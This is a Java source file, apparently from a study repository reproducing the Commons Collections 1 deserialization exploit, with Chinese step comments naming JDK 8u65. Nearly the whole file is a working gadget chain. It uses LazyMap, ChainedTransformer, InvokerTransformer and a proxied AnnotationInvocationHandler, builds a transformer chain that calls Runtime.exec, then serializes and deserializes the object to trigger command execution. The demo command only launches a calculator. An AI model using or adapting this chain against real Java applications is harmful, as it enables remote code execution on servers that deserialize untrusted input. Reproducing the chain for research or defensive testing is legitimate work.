1
package org.cc.repro.cc1;
2

3
import org.apache.commons.collections.Transformer;
4
import org.apache.commons.collections.functors.ChainedTransformer;
5
import org.apache.commons.collections.functors.ConstantTransformer;
6
import org.apache.commons.collections.functors.InvokerTransformer;
7
import org.apache.commons.collections.map.LazyMap;
8
import org.cc.repro.common.SerializeUtil;
9
import org.omg.CORBA.portable.OutputStream;
10

11
import java.io.FileInputStream;
12
import java.io.FileOutputStream;
13
import java.io.ObjectInputStream;
14
import java.io.ObjectOutputStream;
15
import java.lang.annotation.Retention;
16
import java.lang.reflect.Constructor;
17
import java.lang.reflect.Field;
18
import java.lang.reflect.InvocationHandler;
19
import java.lang.reflect.Proxy;
20
import java.util.HashMap;
21
import java.util.HashSet;
22
import java.util.Map;
23

24
/**
25
 * Commons Collections 1
26
 *
27
 * 入口: Transformer[] -> ChainedTransformer -> TransformedMap -> AnnotationInvocationHandler
28
 * JDK 当前: 8u65 ✅
29
 */
30
public class App {
31
    public static void main(String[] args) throws Exception {
32
        // 1. 构造 Transformer 链
33
        // 2. 包装为 LazyMap
34
        // 3. 通过 AnnotationInvocationHandler 触发
35
        Map innerMap=new HashMap();
36
        Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1)};
37
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
38
        Map lazyMap = LazyMap.decorate( innerMap,transformerChain);
39

40
        Transformer[] evilTranformers = new Transformer[]{
41
                new ConstantTransformer(Runtime.class),
42
                new InvokerTransformer(
43
                        "getMethod",
44
                        new Class[]{String.class,Class[].class},
45
                        new Object[]{"getRuntime",new Class[0]}
46
                ),
47
                new InvokerTransformer(
48
                        "invoke",
49
                        new Class[]{Object.class,Object[].class},
50
                        new Object[]{null,new Object[0]}
51
                ),
52
                new InvokerTransformer(
53
                        "exec",
54
                        new Class[]{String.class},
55
                        new Object[]{"calc"}
56
                ),
57
                new ConstantTransformer(new HashSet<>())
58
        };
59

60
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
61
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
62
        constructor.setAccessible(true);
63
        //内层handler
64
        InvocationHandler innerHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
65
        //proxyMap
66
        Map proxyMap = (Map) Proxy.newProxyInstance(
67
                Map.class.getClassLoader(),
68
                new Class[]{Map.class},
69
                innerHandler
70
                );
71
        //外层handler
72
        InvocationHandler outerHandler =(InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
73
        System.out.println("Before deserialize innerMap: " + innerMap);
74

75
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
76
        field.setAccessible(true);
77
        field.set(transformerChain,evilTranformers);
78

79
        // 6. 序列化 outerHandler
80
        serialize(outerHandler);
81

82
        // 7. 清空 innerMap，保证反序列化阶段 key 不存在
83
        innerMap.clear();
84

85
        // 8. 反序列化 outerHandler
86
        unserialize();
87

88
        System.out.println("After deserialize innerMap: " + innerMap);
89

90

91
    }
92
    public static void serialize(Object obj)throws Exception{
93
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1-stage3.bin"));
94
        oos.writeObject(obj);
95
        oos.close();
96
    }
97
    public static Object unserialize() throws Exception{
98
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1-stage3.bin"));
99
        Object obj=ois.readObject();
100
        ois.close();
101
        return obj;
102
    }
103
}